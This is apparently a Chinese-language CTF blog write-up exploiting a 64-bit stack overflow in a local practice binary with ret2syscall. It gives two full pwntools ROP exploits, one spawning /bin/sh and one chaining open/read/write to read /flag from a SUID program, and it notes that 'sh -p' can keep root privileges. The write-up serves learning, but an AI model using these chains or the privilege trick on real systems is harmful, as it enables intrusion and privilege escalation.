pwn

栈溢出实现open,read,write

Posted by Kody Black on November 11, 2023

其实没啥特别的,就是一个ret2syscall,但是之前也没做过64位的,所以也补充记录一下:

首先,把需要的库文件放到当前目录,并补充LD_LIBRARY_PATH

❯ ./lyl
./lyl: error while loading shared libraries: libcapstone.so.5: cannot open shared object file: No such file or directory
❯ export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:.
❯ checksec --file=./lyl
[*]
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

程序很简单,有一个read没有限制输入长度,可以栈溢出,而且还会输出buf的地址。

16997105730641699710572282.png

看到RSI和RBP相距0x90,确定溢出长度。

❯ ROPgadget --binary ./lyl --only "syscall"
Gadgets information
============================================================
0x0000000000401e46 : syscall

Unique gadgets found: 1

有syscall,进行ret2syscall即可,poc如下:

from pwn import *

# context.log_level = 'debug'
p = process("./lyl")

# 0x0000000d000401e46 : syscall
# 0x0000000000401e36 : pop rsi ; ret
# 0x0000000000401e3e : pop rdi ; ret
# 0x0000000000401e26 : pop rdx ; ret
# 0x0000000000401e2e : pop rax ; ret

syscall = 0x401E46
pop_rsi = 0x401E36
pop_rdi = 0x401E3E
pop_rdx = 0x401E26
pop_rax = 0x401E2E

p.recvuntil("located at: ")
buf_addr = int(p.recvline()[:-2], 16)
success("buf_addr = " + hex(buf_addr))

# gdb.attach(p , 'b read')
payload = (
    b"/bin/sh\x00"
    + b"a" * 136
    + b"deadbeef"
    + p64(pop_rdi)
    + p64(buf_addr) # execve第一个参数是文件名,这里传入buf_addr
    + p64(pop_rsi)
    + p64(0) # execve第二个参数是argv,这里传入空指针
    + p64(pop_rdx)
    + p64(0) # execve第三个参数是envp,这里传入空指针
    + p64(pop_rax)
    + p64(0x3b) # execve的系统调用号
    + p64(syscall)
)

p.sendline(payload)
p.interactive()

但是,得到shell后,我是想得到flag,但是我的shell只是一个普通权限,flag读取需要root权限。

❯ ls -al ./lyl
-rwsrw-r-- 1 kody kody 21803 11月 11 14:33 ./lyl

注意到该文件有suid属性,但是,大多数现代操作系统和 shell 在处理 SUID 脚本或程序时采取了一些安全措施,通过execve函数执行/bin/sh,得到的shell会放弃额外的权限,仅以实际用户的身份运行。

那么,我们换种思路,不执行sh,直接使用系统调用实现我们的需求:

(open 打开文件,read读取文件到buf,write写文件到标准输出)

from pwn import *

# context.log_level = 'debug'
p = process("./lyl")
binary = ELF("./lyl")

# 0x0000000d000401e46 : syscall
# 0x0000000000401e36 : pop rsi ; ret
# 0x0000000000401e3e : pop rdi ; ret
# 0x0000000000401e26 : pop rdx ; ret
# 0x0000000000401e2e : pop rax ; ret

syscall = 0x401E46
pop_rsi = 0x401E36
pop_rdi = 0x401E3E
pop_rdx = 0x401E26
pop_rax = 0x401E2E

p.recvuntil(b"located at: ")
buf_addr = int(p.recvline()[:-2], 16)
success("buf_addr = " + hex(buf_addr))

# gdb.attach(p , 'b read')
# 构造系统调用open
payload = (
    b"/flag\x00"
    + b"a" * 138
    + b"deadbeef"
    + p64(pop_rdi)
    + p64(buf_addr)
    + p64(pop_rsi)
    + p64(0)
    + p64(pop_rax)
    + p64(2)
    + p64(syscall)
)
# 构造系统调用read
payload += (
    p64(pop_rdi)
    + p64(3) # 因为open打开文件,会返回文件句柄,从3开始
    + p64(pop_rsi)
    + p64(buf_addr)
    + p64(pop_rdx)
    + p64(0x100)
    + p64(pop_rax)
    + p64(0)
    + p64(syscall)
)

# 构造系统调用write
payload += (
    p64(pop_rdi)
    + p64(1)
    + p64(pop_rsi)
    + p64(buf_addr)
    + p64(pop_rdx)
    + p64(0x100)
    + p64(pop_rax)
    + p64(1)
    + p64(syscall)
)

p.sendline(payload)
p.interactive()

其实,以如下的方法执行execve,得到的sh是有可能拥有root权限的。

char *argv[] = {"sh", "-p", NULL};
execve("/bin/sh", argv, NULL);

解释一下原因,GPT说的很好,就不复述了

来解释一下SUID权限。当一个可执行文件被赋予SUID权限后,无论谁运行这个程序,程序都将以文件所有者的权限运行。在你的例子中,如果a.out程序拥有SUID权限并且它的所有者是root,那么理论上,无论谁执行这个程序,它都应该以root身份运行。

然而,这个程序中有一些关键的细节需要考虑:

  1. 源代码: 程序创建了一个指向/bin/sh的新进程。execve函数用来执行一个新的程序,替换当前进程的映像、数据和堆栈等。
  2. -p参数: 在调用/bin/sh时使用的-p参数很重要。在很多shell程序中,-p参数意味着shell会忽略某些环境变量,例如$PATH,这通常是为了安全性。但更重要的是,在某些系统上,当使用-p参数启动shell时,如果shell是以SUID程序的一部分启动的,它可能会保持其SUID权限。
  3. 操作系统的具体行为: 不同的操作系统和shell版本对SUID程序的处理可能有所不同。一些系统可能会在SUID程序中剥离权限,尤其是在涉及shell的情况下,以防止安全漏洞。

总的来说,如果操作系统和shell允许,在这种情况下执行的shell可能会保持root权限。但这也极大地依赖于特定的操作系统、shell版本和系统配置。在实际情况中,出于安全考虑,许多现代系统都采用了额外的措施来限制SUID程序的权限,尤其是在它们尝试启动shell时。

试了一下,在ubuntu14中得到的是root权限的shell,而Ubuntu22中只有普通用户权限。